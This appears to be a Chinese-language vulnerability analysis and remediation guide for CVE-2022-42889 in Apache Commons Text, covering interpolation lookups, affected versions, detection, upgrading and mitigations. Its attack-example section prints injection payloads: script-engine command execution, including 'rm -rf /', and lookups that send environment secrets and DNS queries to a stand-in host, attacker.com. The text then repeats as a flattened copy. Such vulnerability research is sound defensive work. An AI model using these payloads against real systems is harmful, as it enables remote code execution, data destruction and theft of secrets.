Apache Commons Text RCE(CVE-2022-42889)分析
字数 2591 2025-08-12 11:34:48

Apache Commons Text RCE漏洞(CVE-2022-42889)深度分析与防护指南

漏洞概述

漏洞编号: CVE-2022-42889
漏洞类型: 远程代码执行(RCE)
影响组件: Apache Commons Text库
影响版本: 1.5至1.9版本
漏洞披露时间: 2022年10月13日
CVSS评分: 高危(具体评分需参考官方评估)

技术背景

Apache Commons Text是一个提供文本处理功能的Java库,常用于字符串操作、文本转换等场景。该库提供了变量插值功能,允许动态评估和扩展属性,标准格式为${prefix:name}

漏洞原理

插值机制分析

  1. 插值语法: ${prefix:name}

    • prefix用于定位执行插值的StringLookup实例
    • name作为参数传递给对应的lookup方法
  2. 危险的内置Lookup实现:

    • script: 使用JVM脚本引擎(javax.script)执行表达式
    • dns: 解析DNS记录
    • url: 从URL加载值(包括远程服务器)

漏洞触发条件

当应用程序同时满足以下条件时可能受到攻击:

  1. 使用受影响版本(1.5-1.9)的Apache Commons Text
  2. 采用以下任一方式初始化StringSubstitutor:
    • 调用StringSubstitutor.createInterpolator()
    • 使用new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup())构造
  3. 处理了不受信任的输入数据

漏洞利用分析

代码执行路径

  1. 初始化阶段:

    StringSubstitutor.createInterpolator()
     new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup())
     InterpolatorStringLookup.INSTANCE
    
  2. Lookup注册:

    StringLookupFactory.INSTANCE.addDefaultStringLookups(this.stringLookupMap)
    

    注册了包括script、dns、url等危险Lookup

  3. 恶意输入解析:
    当处理如${script:javascript:java.lang.Runtime.getRuntime().exec("calc")}的输入时:

    • 提取prefix为"script"
    • 找到ScriptStringLookup实例
    • 通过JSR-223脚本引擎执行恶意代码

实际攻击示例

  1. 远程代码执行:

    ${script:javascript:java.lang.Runtime.getRuntime().exec("恶意命令")}
    
  2. DNS泄露:

    ${dns:address|attacker.com}
    
  3. SSRF攻击:

    ${url:UTF-8:http://attacker.com/leak?data=${env:SECRET}}
    

影响范围评估

直接影响

  • 核心影响: 在特定配置下可能导致:

    • 任意代码执行
    • 服务器端请求伪造(SSRF)
    • 敏感信息泄露
    • DNS重绑定攻击
  • 版本影响:

    • 1.5-1.6版本:需显式使用interpolatorStringLookup()初始化
    • 1.7-1.9版本:通过createInterpolator()也可触发

间接影响

  • 依赖Commons Text的其他组件可能间接受影响
  • 使用受影响版本但未启用插值功能的应用程序不受影响

检测与诊断

自检方法

  1. 版本检查:

    mvn dependency:tree | grep "commons-text"
    

    或检查pom.xml中commons-text的版本

  2. 代码检查:

    • 查找StringSubstitutor.createInterpolator()调用
    • 查找new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup())构造
    • 检查是否处理了未经验证的用户输入
  3. 运行时检测:
    监控异常的网络连接(DNS查询、HTTP请求)或脚本引擎活动

修复方案

官方修复

  1. 升级到安全版本:

    <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-text</artifactId>
      <version>1.10.0</version>
    </dependency>
    

    1.10.0版本移除了危险的默认Lookup

  2. 临时缓解措施:

    • 禁用插值功能或限制允许的Lookup
    • 自定义StringLookupFactory,排除危险Lookup:
      Map<String, StringLookup> lookupMap = new HashMap<>();
      // 只添加安全的Lookup
      StringLookupFactory.INSTANCE.addDefaultStringLookups(lookupMap);
      lookupMap.remove("script");
      lookupMap.remove("dns");
      lookupMap.remove("url");
      StringSubstitutor substitutor = new StringSubstitutor(
          new InterpolatorStringLookup(lookupMap, null, false));
      

安全编码实践

  1. 输入验证:

    • 对所有传入StringSubstitutor的输入进行严格验证
    • 使用白名单机制限制允许的插值格式
  2. 最小权限原则:

    • 在沙箱环境中执行文本处理
    • 使用SecurityManager限制脚本引擎权限
  3. 防御性编程:

    // 安全用法示例
    StringSubstitutor substitutor = StringSubstitutor.createInterpolator();
    substitutor.setVariableResolver(new CustomSafeResolver()); // 自定义安全解析器
    

深入技术分析

StringLookup机制详解

  1. 核心接口:

    public interface StringLookup {
        String lookup(String key);
    }
    
  2. 关键实现类:

    • ScriptStringLookup: 通过脚本引擎执行
    • UrlStringLookup: 发起HTTP请求
    • DnsStringLookup: 解析DNS记录
    • ResourceBundleStringLookup: 访问资源文件
    • FileStringLookup: 读取文件内容
  3. 查找流程:

    1. 解析${prefix:value}格式
    2. 根据prefix从map获取对应StringLookup
    3. 调用lookup(value)方法

脚本引擎利用细节

攻击者可利用JSR-223脚本引擎支持的所有语言:

  • JavaScript (Nashorn/Rhino)
  • Groovy
  • Python (Jython)
  • Ruby (JRuby)

示例攻击向量:

${script:groovy:Runtime.getRuntime().exec("rm -rf /")}
${script:jython:import os;os.system("恶意命令")}

企业级防护建议

  1. 资产盘点:

    • 全系统扫描识别所有使用commons-text的组件
    • 建立软件物料清单(SBOM)
  2. 分层防护:

    • 网络层: 出站流量限制,阻止异常外连
    • 主机层: 使用安全基线,限制脚本引擎权限
    • 应用层: WAF规则拦截恶意插值格式
  3. 监控与响应:

    • 日志监控异常文本处理活动
    • 建立应急响应流程
  4. 开发流程改进:

    • 引入SCA(软件成分分析)工具
    • 加强第三方库的安全评审

常见问题解答

Q1: 仅使用commons-text但不调用插值功能是否受影响?
A1: 不受影响,漏洞需要特定的初始化方式和输入处理。

Q2: 如何安全地使用文本插值功能?
A2: 1.10.0+版本可安全使用,或自定义StringLookup排除危险功能。

Q3: 是否有已知的在野利用?
A3: 截至分析时未见大规模利用,但因漏洞利用条件明确,需警惕针对性攻击。

Q4: 其他语言是否有类似风险?
A4: 任何支持动态代码评估的文本处理功能都可能存在类似风险,需具体分析。

总结

CVE-2022-42889展示了文本处理库中看似 innocuous 的功能如何成为严重安全风险的典型案例。虽然实际利用需要特定条件,但一旦满足可能导致严重后果。建议所有使用Apache Commons Text的组织立即进行排查,并根据业务需求选择升级或安全配置方案。

Apache Commons Text RCE漏洞(CVE-2022-42889)深度分析与防护指南 漏洞概述 漏洞编号 : CVE-2022-42889 漏洞类型 : 远程代码执行(RCE) 影响组件 : Apache Commons Text库 影响版本 : 1.5至1.9版本 漏洞披露时间 : 2022年10月13日 CVSS评分 : 高危(具体评分需参考官方评估) 技术背景 Apache Commons Text是一个提供文本处理功能的Java库,常用于字符串操作、文本转换等场景。该库提供了 变量插值 功能,允许动态评估和扩展属性,标准格式为 ${prefix:name} 。 漏洞原理 插值机制分析 插值语法 : ${prefix:name} prefix 用于定位执行插值的 StringLookup 实例 name 作为参数传递给对应的lookup方法 危险的内置Lookup实现 : script : 使用JVM脚本引擎( javax.script )执行表达式 dns : 解析DNS记录 url : 从URL加载值(包括远程服务器) 漏洞触发条件 当应用程序同时满足以下条件时可能受到攻击: 使用受影响版本(1.5-1.9)的Apache Commons Text 采用以下任一方式初始化StringSubstitutor: 调用 StringSubstitutor.createInterpolator() 使用 new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup()) 构造 处理了不受信任的输入数据 漏洞利用分析 代码执行路径 初始化阶段 : Lookup注册 : 注册了包括script、dns、url等危险Lookup 恶意输入解析 : 当处理如 ${script:javascript:java.lang.Runtime.getRuntime().exec("calc")} 的输入时: 提取prefix为"script" 找到ScriptStringLookup实例 通过JSR-223脚本引擎执行恶意代码 实际攻击示例 远程代码执行 : DNS泄露 : SSRF攻击 : 影响范围评估 直接影响 核心影响 : 在特定配置下可能导致: 任意代码执行 服务器端请求伪造(SSRF) 敏感信息泄露 DNS重绑定攻击 版本影响 : 1.5-1.6版本:需显式使用 interpolatorStringLookup() 初始化 1.7-1.9版本:通过 createInterpolator() 也可触发 间接影响 依赖Commons Text的其他组件可能间接受影响 使用受影响版本但未启用插值功能的应用程序不受影响 检测与诊断 自检方法 版本检查 : 或检查pom.xml中 commons-text 的版本 代码检查 : 查找 StringSubstitutor.createInterpolator() 调用 查找 new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup()) 构造 检查是否处理了未经验证的用户输入 运行时检测 : 监控异常的网络连接(DNS查询、HTTP请求)或脚本引擎活动 修复方案 官方修复 升级到安全版本 : 1.10.0版本移除了危险的默认Lookup 临时缓解措施 : 禁用插值功能或限制允许的Lookup 自定义StringLookupFactory,排除危险Lookup: 安全编码实践 输入验证 : 对所有传入StringSubstitutor的输入进行严格验证 使用白名单机制限制允许的插值格式 最小权限原则 : 在沙箱环境中执行文本处理 使用SecurityManager限制脚本引擎权限 防御性编程 : 深入技术分析 StringLookup机制详解 核心接口 : 关键实现类 : ScriptStringLookup : 通过脚本引擎执行 UrlStringLookup : 发起HTTP请求 DnsStringLookup : 解析DNS记录 ResourceBundleStringLookup : 访问资源文件 FileStringLookup : 读取文件内容 查找流程 : 解析 ${prefix:value} 格式 根据prefix从map获取对应StringLookup 调用lookup(value)方法 脚本引擎利用细节 攻击者可利用JSR-223脚本引擎支持的所有语言: JavaScript (Nashorn/Rhino) Groovy Python (Jython) Ruby (JRuby) 等 示例攻击向量: 企业级防护建议 资产盘点 : 全系统扫描识别所有使用commons-text的组件 建立软件物料清单(SBOM) 分层防护 : 网络层 : 出站流量限制,阻止异常外连 主机层 : 使用安全基线,限制脚本引擎权限 应用层 : WAF规则拦截恶意插值格式 监控与响应 : 日志监控异常文本处理活动 建立应急响应流程 开发流程改进 : 引入SCA(软件成分分析)工具 加强第三方库的安全评审 常见问题解答 Q1 : 仅使用commons-text但不调用插值功能是否受影响? A1 : 不受影响,漏洞需要特定的初始化方式和输入处理。 Q2 : 如何安全地使用文本插值功能? A2 : 1.10.0+版本可安全使用,或自定义StringLookup排除危险功能。 Q3 : 是否有已知的在野利用? A3 : 截至分析时未见大规模利用,但因漏洞利用条件明确,需警惕针对性攻击。 Q4 : 其他语言是否有类似风险? A4 : 任何支持动态代码评估的文本处理功能都可能存在类似风险,需具体分析。 总结 CVE-2022-42889展示了文本处理库中看似 innocuous 的功能如何成为严重安全风险的典型案例。虽然实际利用需要特定条件,但一旦满足可能导致严重后果。建议所有使用Apache Commons Text的组织立即进行排查,并根据业务需求选择升级或安全配置方案。